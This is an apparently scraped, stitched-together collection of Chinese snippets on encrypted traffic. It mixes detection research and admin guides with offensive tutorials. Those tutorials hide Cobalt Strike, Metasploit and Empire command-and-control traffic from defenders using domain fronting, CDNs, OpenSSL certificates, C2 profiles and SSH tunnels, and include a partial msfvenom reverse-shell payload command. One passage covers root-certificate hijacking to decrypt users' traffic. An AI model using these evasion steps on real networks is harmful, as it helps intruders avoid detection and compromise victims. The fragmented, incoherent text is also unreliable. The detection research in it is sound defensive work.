根据最新统计报告[3],截止 2017 年 2 月,半数的在线流量均被加密。对于特定类型的流量,加密甚至已成为法律的强制性要求,Gartner 预测到2021 年,83%的流量将被加密。 加密流量识别什么加密与未加密流量,识别出哪些流量属于加密的,剩余则是未加密的识别加密流量所采用的加密协议,如 QUIC,SSL,SSH,IPSec识别流量所属的应用程序,如Skype,Bittorrent ,YouTube,谷歌搜索,淘宝网,凤凰网或中国银行等异常流量识别就是识别出 DDoS,APT,Botnet 等恶意流量内容参数识别就是对应用流量从内容参数上进一步分类,如视频清晰度,图片格式加密流量识别方法概览加密流量识别的首要任务是根据应用需求确定识别对象及识别粒度 加密流量识别研究内容如图 2-1 所示,加密流量识别方法主要包括六类:基于负载随机性检测的方法、基于有效负载的分类方法、基于数据包分布的分类方法、基于机器学习的分类方法、基于主机行为的分类方法,以及多种策略相结合的混合方法 (如FTP 和 P2P)以及识别最终用户的应用(如 BitTorrent 和 Skype),Deep Packet 不仅可以识别加密流量,还可以区分 VPN 和非 VPN 流量,应用识别的 F1-score
作为网络安全领域的神器,目前CS的通信流量已经能被成熟的IDS、IPS识别检测,一旦被防守人员发现CS的流量或溯源到CS的服务端的IP地址,渗透入侵可能会因此功亏一篑。 所以我们需要加密流量保护CS服务器以免被防守方的安全监控检测出来甚至溯源我们的CS服务器,目前常用的隐藏手段包括域前置、CDN、云函数等,接下来我将介绍这几种常见的隐藏C2的方式。 与云函数类似,域前置技术主要通过CDN节点将流量转发给真实的C2服务器,CDN节点ip可通过识别请求的Host头进行流量转发,利用我们配置域名的高可信度,那么就可以有效躲避针对DLP、agent等流量监测 WireShark 抓包在 WireShark 中跑的都是TLS加密流量、目的地址为随机的CDN节点,因此无法溯源到我们C2服务器的真实IP0x03 总结通过这段时间针对流量加密的学习,我发现网络攻击与防守总是在不断转换 ,就像CDN在设计之初主要用于保护网站的真实IP,但作为攻击者我们也可以使用它来保护我们的C2服务器;而使用OpenSSL生成的RSA证书除了身份验证以外也能够帮助攻击者加密流量、隐藏通信。
0X01 "冰蝎" 获取密钥过程 冰蝎执行流程 (图片来自红蓝对抗——加密Webshell“冰蝎”攻防) 冰蝎在连接webshell的时,会对webshell进行两次请求访问 为什么进行两次访问? (比如 Path 或者 HttpOnly 之类或者其它的) 冰蝎直接把返回协议头中的Set-Cookie字段直接添加到下一个请求包的Cookie字段中 正常的请求是不会携带Cookie属性的,这可是识别冰蝎流量最直接的一种办法 0X03 "冰蝎" 动态加载 冰蝎动态加载的原理就是每次都发送一个class字节码(其它语言也一样) 冰蝎通过asm动态修改class字节码变量内容,实现携带参数动态执行,冰蝎在获取完密钥之后(2个请求 服务器的一些信息),冰蝎的BasicInfo功能并没有动态修改参数(一个获取服务器信息的能有啥参数),这会导致每次获取BasicInfo的数据包都是固定的大小 0X04 总结 Waf可以对一个ip连续访问2次的数据包进行截取 ,比对相同字符,比对之后,截取两次不同的数据,如果剩下的是16位的key,就可以证明这两个数据包就是冰蝎发出的,第三个数据包通过 0x02,0x03 中的一些bug,可以100%的匹配到冰蝎流量,不会误报
可看到未加密的情况下,攻击机与目标机之间的通信都是明文传输的,所以流量设备可以很容易地查看到攻击者的行为记录的。 那么接下来将演示如何使用OpenSSL对nc进行流量加密。 1. 成功生成后,在桌面有两个pem加密文件: ? 2. Metasploit 流量加密 实验环境:Kali Linux 攻击 Windows 10 Metasploit 在内网做横行渗透时,这些流量很容易就能被检测出来,所以做好流量加密,就能避免审计工具检测出来 下面开始演示如何对 Metasploit 进行流量加密。 2. 创建 C2-profile 文件 C2-profile 文件是 Cobalt Strike 内置工具,用于控制 Cobalt Strike 流量,可以防止安全设备对流量特征进行监控和拦截。
加密一直都是保护用户通讯隐私的重要特性,可如果恶意程序在传播过程中也加密的话,对这样的流量做拦截感觉就麻烦了很多。 整个过程中,网络设备的确不对用户数据做处理,仅是采用DPI(深度包检测技术)来识别clientHello和serverHello握手信息,还有识别连接的TLS版本。 “在这篇报告中,我们主要针对433端口的TLS加密数据流,尽可能公正地对比企业一般的TLS流量和恶意TLS流量。 “即便使用相同TLS参数,我们依然就够辨认和比较准确地进行分类,因为其流量模式相较其他流量的特性,还是存在区别的。我们甚至还能识别恶意程序更为细致的家族分类,当然仅通过网络数据就看不出来了。” ? “在针对单独、加密流量的识别中,我们在恶意程序家族归类的问题上,能够达到90.3%的准确率。
采用智能技术,实现网络管理精细化 为应对互联网的飞速发展,根据网络流量识别业务类型成为网络技术研究的重要方向和运营商的迫切需求。 通过业务识别系统,互联网运营商以及服务提供商能够采集与分析互联网中各种应用产生的流量,识别不同的业务流量类型并进行分类,进而根据不同的业务类型提供相应的保障响应和服务品质。 但随着互联网加密流量逐年攀升,传统DPI方案已很难从报文中直接获取信息并对流量进行分类,必须寻找新的方法来完成协议分类任务。在此背景下,基于人工智能的网络流量分析方案应运而生。 图一 绿网固网DPI解决方案架构 该方案以协助运营商等实现网络可视、可管、可控、可增值为宗旨,一站式地提供了针对加密流量的实时流量特征提取、学习建模、在线推断等功能,能够保障高性能的报文处理,实现高效的智能识别和智能控制能力 ,助其为网络用户提供更高质量和更具性价比的服务: 1.充分挖掘各类流量数据,为网络运维、安全规划、经营提供强有力支撑; 2.保障高性能报文处理,更有效地应对数字经济发展所带来的流量风暴; 3.以软件优化模式
整个包只有一个Global Header定义了本数据包的读取规则/最大存长度限制等内容 Magic:4Byte:标记文件开始,并用来识别文件自己和字节顺序。 0xa1b2c3d4用来表示按照原来的顺序读取,0xd4c3b2a1表示下面的字节都要交换顺序读取。考虑到计算机内存的存储结构,一般会采用0xd4c3b2a1,即所有字节都需要交换顺序读取。 Major:2Byte: 当前文件主要的版本号,一般为 0x0200【实际上因为需要交换读取顺序,所以计算机看到的应该是 0x0002】 Minor:2Byte: 当前文件次要的版本号,一般为 0x0400 7f00 0001 0102 0304 0000 0003 # Packet Data f3da c850 250c 0100 2a00 0000 2a00 c850 7952 0500 2a00 0000 2a00 0000 # Packet Header ffff ffff ffff 0000 0000 0000 0800 4500 001c 2710
并没有加密,传输内容容易被检测和发现。 如下,我们简单生成一个Android平台的shell。 加密msf流量 创建证书 openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \ -subj "/C=UK/ST=London/L=London 这样会在桌面生成一个www.bbskali.cn.pem的证书 生成加密的shell msfvenom -p windows/meterpreter/reverse_winhttps LHOST= 发现流量全是密文了。
由越来越多的网页信息改为HTTPS 加密协议,传统的运营商基于DPI的数据获取和广告营销方式已经不可行,需要一种新的方式采集可用数据。 相对网页版,手机版的加密信息相对少些,因此可以以手机版本作为切入,获取用户部分信息。 实验结果: ? (2)让浏览器加入特定的根证书实现网络劫持。 导入受信人根证书到浏览器中,劫持客户端向服务器发送的请求,利用受信任证书进行解密。 ? 实验结果: ?
在默认情况下安装时,Tomcat服务器与客户端之间的所有通信都是未加密的,包括输入的任何密码或任何敏感数据。我们可以通过多种方式将SSL合并到Tomcat的安装中。 Tomcat本身也能够加密本地连接,我们是不是有点画蛇添足,多此一举呢? 自签名证书提供了相同类型的加密,但没有域名验证公告。关于自签名证书,你可以参考为Apache创建自签名SSL证书和如何为Nginx创建自签名SSL证书这两篇文章。 现在输入以下命令打开文件: sudo vi /etc/httpd/conf.d/ssl.conf 在VirtualHost配置块内部,添加一个JkMount指令,将该虚拟主机接收的所有流量传递给我们刚定义的 结论 现在你可以在Web服务器代理的帮助下使用SSL加密Tomcat连接。虽然配置单独的Web服务器进程可能会增加服务应用程序所涉及的软件,但它可以显着简化SSL部署保护流量的过程。
tryblog -keyalg RSA -validity 36500 -keystore tryblog.store 温馨提示 注意记得-alias后面的参数和-keystore后面的参数后面会用到C2- 证书就在当前目录下 创建C2.profile文件 1.新建一个文件,名叫c2.profile,加入以下内容 set sample_name "tryblog POS Malware"; set sleeptime /c2lint C2.profile #命令后面跟你自己的c2文件 这样就基本成功了。 使用证书启动teamserver nohup . /C2.profile & #nohup就是把程序挂在后台运行 温馨提示 建议编辑teamserver文件,在最后把启动的端口修改一下,尽量别使用默认端口启动。 这个只是把流量进行加密,然后你要免杀的话还是要生成payload自己进行免杀的,不过这样以后免杀的效果会好很多,就这样吧,有什么问题欢迎进群讨论。
摘要 近年来,随着机器学习、深度学习等人工智能技术的迅猛发展,其在图像识别、语音识别和自然语言处理等领域已经得到大规模应用,可以为传统方法很难解决或无法适用的问题提供有效的方案,也已经成为网络安全领域中的热门研究方向 由于数据包体量特征不受数据加密的影响,所以非常适合用于加密流量的检测。 ? 作者也尝试了使用流级的包长分布特征进行分类器训练,考虑到恶意流量样本中也包含与正常服务的通信,但又无法识别其中的良性流,所以只将包含一条流的样本拿出来作为训练集,最终将不包含任何恶意流的流量样本分类为正常 除了统计和机器学习方法外,《基于深度学习的物联网恶意软件家族细粒度分类研究》验证了深度学习在流量识别方向也具有很好的应用前景,充分展现了人工智能赋能网络安全领域的可行性。 加密代理篇: 《初探加密流量识别》 恶意软件篇: 《基于深度学习的物联网恶意软件家族细粒度分类研究》 《关于恶意软件加密流量检测的思考》 加密webshell篇: 《【冰蝎全系列有效】针对HTTPS加密流量的
又是喜闻乐见的加密流量!搞它。 APP是加壳的,先上frida-dexdump脱壳。 ? ? 这么多有encrypt关键字的,不好找,我们上DDMS: 通过profilling,我们很容易就能定位到加密函数: ? 上JEB,打开我们已经脱掉的dex文件: ? 恩,剩下的就是写脚本了。1. 为方便测试,我们使用burpy,这样就能直接在burpsuite上操作加密解密了。2. 为方便burpy调用加密和解密,需要把hook写成rpc的形式。
利用视频流量分析,以色列特拉维夫大学和康奈尔大学的研究者们开发的新算法只需在电脑或手机浏览器中加入几行 JavaScript 代码,就能在这台设备连接到 Wi-Fi 后通过流量数据识别出用户观看的视频内容 网络传输加密技术给这些监控设置了障碍,但是我们知道网络传输分析,只能检查网络传输的规模和时序,而对于传输的内容,通常需要进行归纳分析。怎样对加密的视频进行有效的流量分析? 跨设备攻击(cross-device attacks):这是一种更强大的识别流量模式的方法。 为了基于记录的流量模式识别视频,我们使用了深度学习技术,并使用几种领先的流媒体服务上的电影内容训练了一个人工神经网络系统。 Q2:流量信息如何泄露? A:从恶意 WiFi 接入点、代理、路由器、公司网络、国家级网关和 ISP 都可以用来获取用户观看视频习惯的信息。
而类似SHA-2和分组密码(例如Blowfish)这样加密哈希函数也并不是为类似RFID芯片这样的占用资源较少的电子设备设计的。 分组密码 分组密码有很多种,但AES 128可能是目前最适合对在线流量进行加密的算法了,下面给出的是我们对不同种类分组密码的测试结果: ? 虽然这些加密算法都非常优秀,但是他们仍需要类似计数器(CTR)和基于认证的加密模块,其中最适合消息认证码(MAC)的加密算法就是LightMAC了,因为它在实现加密的过程中使用的是相同的分组密码。 这里我们选择使用Gimli,因为它占用资源最少,并且可以用来构造针对通信流量的加密算法。 异或密码 接下来,我们实现一个针对数据流的简单异或操作(Just For Fun!)。 &c1 : &c2; crypt(c); } 总结 对shellcode进行恢复之后,将能够得到明文数据,因为我在这里加密所采用的是一个静态密钥
随着TLS的使用越来越普遍、有效证书的获取越来越廉价和容易,使用TLS的恶意软件也会越来越多,所以检测出恶意软件的TLS加密通信流量是非常必要的。 图1 源端口特征分布 (2)目的端口:默认情况下,合法的服务器在特定的端口上如443、465、853、992等监听TLS相关的数据包,除了恶意软件,客户端没有理由发起TLS会话到其他端口,但一些恶意软件作者可能只想使用加密 图2 目的端口特征分布 (3)字节熵:熵值的大小通常取决于加密的强弱,一般认为恶意软件流可能由于忽略数据包的加密而具有较小的熵值,但实际情况恰恰相反,良性流具有较小的熵值,如图3所示,横坐标表示恶意流和良性流 (2)时间 相比良性流量,时间的偏差对恶意流量的影响更大一些,收集到的数据会受到概念漂移的影响,这意味着数据会随着时间的推移而过时,恶意软件不断优化更新、新的恶意软件被引入、用户习惯产生变化等,训练好的模型的可用性在时间上是有限的 加密代理篇: 《初探加密代理识别》 恶意软件篇: 《基于深度学习的物联网恶意软件家族细粒度分类研究》 加密webshell篇: 《【冰蝎全系列有效】针对HTTPS加密流量的webshell检测研究》 《
众多厂商和企业对网络流量进行恶意流量分析检测,从而针对性的采取防御措施,如各级ISP在骨干网络设备上大多采用网络流量分析检测的防御方案。 本文想通过标准的SSH的端口转发建立SSH形式的加密隧道,用于加密、隐蔽传输恶意流量,从而避免通过流量检测发现恶意行为。复现实验部分以C&C通信流量为例进入实验。 通过SSH隧道进行加密和隐藏的C&C流量在外部流量特征分析仅表现为标准SSH流量。 ? 二、实验原理 本次实验使用Empire工具快速搭建C&C信道,本文只简要介绍对于Empire工具。 SSH 端口转发能够提供两大功能:1、加密 SSH Client 端至 SSH Server 端之间的通讯数据。2、突破防火墙的限制完成一些之前无法建立的 TCP 连接。 (2) 使用工具(如Empire、Metasploit等)构建C&C。 (3) 利用SSH的端口转发搭建SSH隧道。 (4) 配置C&C和SSH参数使二者配合实现加密、隐藏恶意流量的目的。
二、LoadRunner加密流量测试在使用LoadRunner进行性能测试时,如果被测系统使用了加密流量要求通过 SSL/TLS 加密通道进行通信,LoadRunner通过支持SSL/TLS 协议对流量进行加密测试 LoadRunner 支持在性能测试中配置 SSL/TLS 协议,以模拟加密流量。 测试人员可以配置虚拟用户脚本,通过加密的通信通道进行数据交换。2)设置SSL证书:测试人员需要配置有效的SSL 证书,确保模拟的通信能够通过加密通道进行。 LoadRunner 支持自定义证书或使用现有证书进行加密流量测试。1)设置 CA 和 TLS 证书2)确定系统中哪台计算机是用于客户端服务器通信的服务器。 在进行加密流量测试时,LoadRunner 还可以结合其他安全性测试,确保系统的安全性和性能。加密流量的测试不仅仅是验证通信的安全性,还需要评估加密和解密操作对系统性能的影响。
1 研究简介 加密流量分类在网络负载管理和安全威胁检测中逐渐成为自动识别目标应用、服务和协议的主要方式。 现有的模型通常使用大规模带有准确标注的会话样本来提取流量深层的可识别特征,比如证书链、包长序列和方向序列。 表2和表3中报告了具体的结果。 同时,如图3所示,研究者发现在6种测试场景的数据集中,TLS 1.3部署了随机性较强的加密套件并且分布维度偏单一化。对比分类性能结果,研究者认为密码套件的实际部署不当可能导致加密流量数据更易被识别。 (2)结果可视化对比的质量 如图5所示,研究者通过分类结果的可视化展示ET-BERT的性能表现出色,在多类别的样本类内距离以及类间距离的边界识别更加清晰,对于流量特征近似的类别也能够保持较低的错检率。
此外,cAdvisor 集成到 Kubelet 中,它收集网络流量数据。 但是,这些工具都不能轻松识别跨越多个 Google 区域的网络流量。 这个过程确定了节点的区域,以识别跨区域流量。 统计信息以Prometheus指标的形式暴露出来,用于按Pod监控总跨区域流量,同时也通过流量日志提供特定Pod之间流量模式的详细洞察。 极化信号如何减少跨区域流量 在自己的网络上部署 Kubezonnet 时,Polar Signals 发现跨区域流量似乎过多。 其中一个原因是数据库。 流量日志显示单一工作负载占主导流量。布兰奇尼克写道,解决这一问题非常简单。 然而,最大的跨边界因素是那些在公司监控堆栈中传播的众多规则评估。 公司还计划支持 IPv6,并增加更多的流量指标。 你想知道你的 Kubernetes 流量(昂贵地)在云提供商的可用区之间传输了多少吗?Kubezonnet 可以帮忙。